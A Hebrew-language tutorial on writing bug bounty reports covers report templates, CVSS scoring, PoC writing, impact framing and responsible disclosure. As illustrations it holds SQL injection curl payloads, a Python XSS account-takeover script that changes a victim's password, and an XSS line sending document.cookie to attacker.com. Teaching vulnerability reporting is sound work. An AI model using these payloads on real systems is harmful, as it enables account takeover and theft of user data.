לדלג לתוכן

כתיבת דוחות מתקדמת - Advanced Report Writing

מבוא

דוח טוב יכול להפוך ממצא בינוני לתשלום גבוה. דוח גרוע יכול להפוך ממצא קריטי לדחייה. כתיבת דוחות היא מיומנות קריטית שמבדילה בין חוקרים חובבים למקצוענים.


מבנה דוח ל-Bug Bounty

מבנה HackerOne

## כותרת
[סוג חולשה] ב-[רכיב] מאפשר [אימפקט] ל-[מי]

## חומרה
[CVSS Score] - [Critical/High/Medium/Low]

## תיאור
[תיאור טכני של החולשה, 2-3 פסקאות]

## שלבי שחזור
1. [שלב ראשון]
2. [שלב שני]
3. ...

## הוכחת ניצול - PoC
[קוד, צילומי מסך, או פקודות curl]

## אימפקט
[מה תוקף יכול לעשות עם החולשה]

## תיקון מומלץ
[המלצות לתיקון]

מבנה Bugcrowd

## סיכום
[משפט אחד שמתאר את החולשה]

## URL פגיע
[הכתובת המדויקת]

## פרמטר פגיע
[השדה או הפרמטר]

## Payload
[ה-payload שנעשה בו שימוש]

## שלבי שחזור
[שלב-אחר-שלב]

## צילומי מסך / וידאו
[הוכחות]

## דפדפן / סביבה
[פרטי סביבת הבדיקה]

## אימפקט
[השפעה]

חישוב CVSS v3.1

פרמטרי ה-Base Score

Attack Vector (AV):
  N (Network)  = 0.85  - תקיפה מרשת (הנפוץ ביותר בווב)
  A (Adjacent) = 0.62  - תקיפה מרשת סמוכה
  L (Local)    = 0.55  - תקיפה מקומית
  P (Physical) = 0.20  - תקיפה פיזית

Attack Complexity (AC):
  L (Low)  = 0.77  - ללא תנאים מיוחדים
  H (High) = 0.44  - דורש תנאים מיוחדים

Privileges Required (PR):
  N (None) = 0.85  - ללא הרשאות
  L (Low)  = 0.62 (0.68 עם scope change)
  H (High) = 0.27 (0.50 עם scope change)

User Interaction (UI):
  N (None)     = 0.85  - ללא אינטראקציה
  R (Required) = 0.62  - דורש אינטראקציה

Scope (S):
  U (Unchanged) - האימפקט על אותו רכיב
  C (Changed)   - האימפקט על רכיב אחר

Impact (C/I/A):
  H (High) = 0.56
  L (Low)  = 0.22
  N (None) = 0.00

דוגמאות חישוב

דוגמה 1: Stored XSS שגונב cookies
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
= 5.4 (Medium)

דוגמה 2: SQL Injection ללא אותנטיקציה
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
= 9.8 (Critical)

דוגמה 3: SSRF שמאפשר קריאת קבצים
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
= 8.6 (High)

דוגמה 4: Account Takeover דרך שרשרת
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
= 9.3 (Critical)

איך להצדיק את הציון

## הצדקת חומרה

**CVSS 3.1: 9.3 (Critical)**
**וקטור:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

| פרמטר | ערך | הצדקה |
|--------|------|--------|
| AV | Network | התקיפה מתבצעת דרך הרשת |
| AC | Low | אין תנאים מיוחדים - כל קורבן שלוחץ על הקישור נפגע |
| PR | None | התוקף לא צריך חשבון במערכת |
| UI | Required | הקורבן צריך ללחוץ על קישור |
| S | Changed | ה-XSS רץ בהקשר של target.com אבל משפיע על חשבון הקורבן |
| C | High | גישה מלאה למידע האישי של הקורבן |
| I | High | שינוי סיסמה ומייל - שליטה מלאה בחשבון |
| A | None | אין השפעה על זמינות |

כתיבת PoC אפקטיבי

עקרונות

  1. PoC צריך להיות ניתן לשחזור - כל אדם טכני צריך להצליח לחזור עליו
  2. שלב-אחר-שלב - כל פעולה מתועדת
  3. כולל את כל המידע הנדרש - URLs, headers, cookies
  4. לא יותר מדי - לא צריך לכתוב exploit מלא, רק להוכיח את החולשה

PoC עם פקודות curl

## PoC - SQL Injection ב-/api/users

### שלב 1 - בקשה תקינה

curl -s 'https://target.com/api/users?id=1' \
-H 'Cookie: session=abc123' | jq .
תגובה:
```json
{"id": 1, "name": "John Doe", "email": "john@target.com"}

שלב 2 - הזרקת SQL

curl -s "https://target.com/api/users?id=1'+OR+1=1--" \
  -H 'Cookie: session=abc123' | jq .

תגובה - כל המשתמשים מוחזרים:

[
  {"id": 1, "name": "John Doe", "email": "john@target.com"},
  {"id": 2, "name": "Admin", "email": "admin@target.com"},
  ...
]

שלב 3 - חילוץ גרסת בסיס נתונים

curl -s "https://target.com/api/users?id=1'+UNION+SELECT+1,version(),3--" \
  -H 'Cookie: session=abc123' | jq .

תגובה:

{"id": 1, "name": "PostgreSQL 13.4", "email": "3"}

### PoC כסקריפט Python

```python
#!/usr/bin/env python3
"""
PoC - Account Takeover via XSS + CSRF Chain
Target: target.com
Author: researcher
Date: 2026-03-08
"""
import requests

BASE_URL = "https://target.com"

def step1_inject_xss():
    """שלב 1: הזרקת XSS לפרופיל"""
    payload = '<img src=x onerror="fetch(\'/api/change-password\',{method:\'POST\',headers:{\'Content-Type\':\'application/json\'},credentials:\'include\',body:JSON.stringify({new_password:\'hacked123\'})})">'

    response = requests.post(
        f"{BASE_URL}/api/profile",
        json={"bio": payload},
        cookies={"session": "attacker_session"}
    )
    print(f"[1] הזרקת XSS: {response.status_code}")
    return response.status_code == 200

def step2_victim_views_profile():
    """שלב 2: הקורבן צופה בפרופיל (סימולציה)"""
    print("[2] הקורבן גולש לפרופיל התוקף")
    print("    URL: https://target.com/users/attacker")
    print("    ה-XSS מופעל אוטומטית")
    return True

def step3_verify_takeover():
    """שלב 3: אימות השתלטות"""
    response = requests.post(
        f"{BASE_URL}/api/login",
        json={
            "email": "victim@target.com",
            "password": "hacked123"  # הסיסמה שהוחלפה
        }
    )
    if response.status_code == 200:
        print(f"[3] השתלטות הצליחה!")
        print(f"    Token: {response.json().get('token', 'N/A')}")
        return True
    else:
        print(f"[3] נכשל: {response.status_code}")
        return False

if __name__ == '__main__':
    print("=" * 50)
    print("PoC - Account Takeover via XSS + CSRF")
    print("=" * 50)
    step1_inject_xss()
    step2_victim_views_profile()
    step3_verify_takeover()

מתי להוסיף וידאו PoC

וידאו PoC מומלץ כש:
- השחזור מורכב ודורש תזמון מדויק
- יש אינטראקציית משתמש (clickjacking, CSRF)
- שרשרת חולשות מרובת שלבים
- ה-payload תלוי בהקשר ויזואלי

כלים מומלצים לצילום:
- OBS Studio (חינמי)
- Loom (קל לשיתוף)
- Kazam (לינוקס)


כתיבה לאימפקט מקסימלי

כותרות טובות מול גרועות

גרוע:  "XSS on target.com"
טוב:   "Stored XSS in User Bio Allows Account Takeover of Any User"

גרוע:  "IDOR bug"
טוב:   "IDOR in /api/users Exposes PII of 2M Users Including Payment Data"

גרוע:  "SSRF found"
טוב:   "SSRF in Image Import Leads to AWS Credential Theft and Internal Network Access"

גרוע:  "Open Redirect"
טוב:   "Open Redirect in OAuth Flow Enables Silent Account Takeover"

תיאור אימפקט עסקי

## אימפקט - דוגמה טובה

### השפעה טכנית
תוקף יכול לנצל את חולשת ה-SQL Injection כדי:
1. לקרוא את כל טבלאות בסיס הנתונים
2. לחלץ מידע אישי של משתמשים (שם, מייל, סיסמה מגובבת)
3. לשנות נתונים בבסיס הנתונים
4. בתנאים מסוימים - לכתוב קבצים למערכת הקבצים

### השפעה עסקית
- **משתמשים מושפעים:** כל 2.3 מיליון המשתמשים הרשומים
- **סוג מידע:** PII כולל שם מלא, כתובת מייל, מספר טלפון, כתובת
- **רגולציה:** חשיפת המידע מהווה הפרת GDPR עם קנסות פוטנציאליים של עד 4% מהמחזור השנתי
- **מוניטין:** פריצת נתונים כזו תדרוש הודעה לכל המשתמשים ולרגולטור
- **פיננסי:** עלות ממוצעת של פריצת נתונים - $4.35 מיליון (IBM 2022)
## אימפקט - דוגמה גרועה

התוקף יכול לגנוב מידע מבסיס הנתונים. זה רע.

טעויות נפוצות בדוחות

טעות 1 - הגזמה בחומרה

## רע:
"Critical vulnerability! The entire application is compromised!"
(כשמדובר ב-self-XSS שדורש אינטראקציה מורכבת)

## טוב:
"Medium severity - requires the victim to visit a specific page while
logged in. Impact is limited to the individual user's session."

טעות 2 - חוסר שלבי שחזור

## רע:
"I found SQL injection in the search parameter. See screenshot."
(ללא שלבים, ללא payload, ללא context)

## טוב:
"1. Navigate to https://target.com/search
2. Enter the following in the search box: ' UNION SELECT 1,2,3--
3. Observe that the response contains '2' and '3' in the results
4. This confirms a UNION-based SQL injection with 3 columns"

טעות 3 - אי-הדגמת אימפקט אמיתי

## רע:
"XSS payload: <script>alert(1)</script>"
(alert(1) לא מדגים אימפקט)

## טוב:
"XSS payload that steals session cookie:
<script>fetch('https://attacker.com/?c='+document.cookie)</script>

Using the stolen cookie, an attacker can:
1. Access the victim's account without credentials
2. View and modify personal information
3. Perform actions on behalf of the victim"

טעות 4 - כפילויות

## רע:
הגשת 5 דוחות נפרדים על XSS באותו רכיב עם payloads שונים.

## טוב:
דוח אחד שמתאר את ה-root cause ומראה שהוא משפיע על מספר שדות,
עם דוגמאות של payloads שונים.

תקשורת עם צוותי אבטחה

תגובה לשאלות של Triager

## שאלה:
"We were unable to reproduce this issue. Can you provide
more details?"

## תגובה טובה:
"Thank you for looking into this. Here are additional details:

Environment:
- Browser: Chrome 120.0.6099.109
- OS: macOS 14.2
- Burp Suite Professional v2024.1

The issue requires the following specific conditions:
1. The user must have 2FA disabled
2. The request must include the X-Forwarded-For header
3. The cookie must not have the __Host- prefix

I've attached a video recording showing the full reproduction.
Please let me know if you need anything else."

טיפול במחלוקות

## מצב: הדוח נסגר כ-Informative

## תגובה מקצועית:
"I respectfully disagree with the severity assessment. While the
individual finding (open redirect) is typically low severity, I'd
like to highlight the following chain that elevates the impact:

1. The open redirect at /go?url= can be combined with the OAuth
   authorization flow
2. By setting redirect_uri to /go?url=https://attacker.com, the
   authorization code is leaked to the attacker
3. This enables account takeover without user interaction beyond
   the initial click

I've updated the report with a complete PoC demonstrating the
full chain. The CVSS score for this chain is 8.1 (High).

Would you be willing to re-evaluate based on this additional
context?"

תהליך Responsible Disclosure

ציר זמן מקובל

יום 0:     גילוי החולשה
יום 1-3:   כתיבת דוח מפורט ו-PoC
יום 3:     דיווח לארגון / פלטפורמת bug bounty
יום 7:     אם אין תגובה - שליחת תזכורת
יום 14:    אם אין תגובה - ניסיון ליצור קשר דרך ערוץ אחר
יום 30:    אם אין תגובה - הודעה על כוונה לפרסם
יום 90:    מותר לפרסם (לפי מדיניות רוב הפלטפורמות)

שיקולים משפטיים

מותר:
- בדיקת אבטחה במסגרת תוכנית bug bounty
- דיווח ישיר לארגון בערוצים מקובלים
- פרסום אחרי תיקון (בתיאום עם הארגון)

אסור:
- ניצול החולשה לרווח אישי
- גישה למידע מעבר לנדרש להוכחה
- שיתוף החולשה עם צדדים שלישיים לפני תיקון
- סחיטה או איומים

תבנית לדוח מקצועי

# [סוג חולשה] ב-[רכיב] מאפשר [אימפקט]

## מידע כללי
| שדה | ערך |
|------|-------|
| פלטפורמה | HackerOne |
| תוכנית | [שם התוכנית] |
| תאריך גילוי | YYYY-MM-DD |
| URL פגיע | https://target.com/vulnerable-endpoint |
| פרמטר | [שם הפרמטר] |
| סוג חולשה | [CWE-XXX: שם] |

## חומרה
**CVSS 3.1:** X.X ([Critical/High/Medium/Low])
**וקטור:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

## תקציר
[2-3 משפטים שמתארים את החולשה והאימפקט]

## תיאור טכני
[תיאור מפורט של החולשה, כולל הסיבה הטכנית]

## שלבי שחזור
### תנאים מוקדמים
- [דפדפן/כלי נדרש]
- [חשבון נדרש]
- [הגדרות מיוחדות]

### שלבים
1. [שלב ראשון - כולל URL/פקודה מדויקים]
2. [שלב שני]
3. [שלב שלישי]
4. [תוצאה צפויה]

## PoC

### פקודת curl

curl -X POST 'https://target.com/api/endpoint' \
-H 'Content-Type: application/json' \
-H 'Cookie: session=abc123' \
-d '{"param": "payload"}'
### סקריפט (אופציונלי)
```python
# PoC script
...

צילומי מסך

[צילום מסך 1 - תיאור]
[צילום מסך 2 - תיאור]

אימפקט

טכני

  • [מה התוקף יכול לעשות]

עסקי

  • [השפעה על משתמשים]
  • [השפעה על העסק]
  • [השפעה רגולטורית]

תיקון מומלץ

  1. [תיקון ראשי]
  2. [תיקון משני / defense in depth]
  3. [המלצות נוספות]

הפניות

  • CWE-XXX
  • OWASP - שם
  • [מאמרים רלוונטיים]
    ---
    
    ## דוגמאות: דוח טוב מול דוח גרוע
    
    ### דוח גרוע
    

    Title: XSS bug

I found XSS on your site. Here is the payload:

Please fix ASAP. This is critical.

### דוח טוב

Title: Stored XSS in Comment Feature Allows Session Hijacking of Any User

Severity

CVSS 3.1: 6.1 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

A stored cross-site scripting (XSS) vulnerability exists in the comment
feature at /posts/{id}/comments. An authenticated user can inject arbitrary
JavaScript that executes in the browser of any user viewing the comment.
This can be used to steal session cookies, perform actions on behalf of
victims, or redirect users to phishing pages.

Steps to Reproduce

  1. Log in to https://target.com with any user account
  2. Navigate to any post, e.g., https://target.com/posts/123
  3. In the comment box, enter the following payload:
  4. Click "Submit Comment"
  5. Open an incognito window and log in as a different user
  6. Navigate to the same post
  7. Observe in the browser's network tab that a request is made to
    attacker.com with the victim's session cookie

Impact

  • An attacker can steal session cookies of any user who views the comment
  • With the stolen cookie, the attacker can access the victim's account
  • The attacker can perform any action the victim can: view personal data,
    modify settings, make purchases
  • Since comments are visible on popular posts, this could affect thousands
    of users

Remediation

  1. Implement output encoding for all user-generated content
  2. Add Content-Security-Policy header to prevent inline script execution
  3. Set HttpOnly flag on session cookies to prevent JavaScript access
  4. Consider implementing a Content Security Policy with strict nonce-based
    script execution
    ---
    
    ## סיכום
    

    עקרונות לדוח מצוין:
  5. כותרת שמתארת את האימפקט, לא רק את סוג החולשה
  6. CVSS מחושב ומוצדק
  7. שלבי שחזור ברורים שכל אחד יכול לבצע
  8. PoC שמדגים אימפקט אמיתי (לא alert(1))
  9. אימפקט עסקי, לא רק טכני
  10. תיקון מומלץ שמראה שאתם מבינים את הבעיה
  11. תקשורת מקצועית ומכבדת
    ```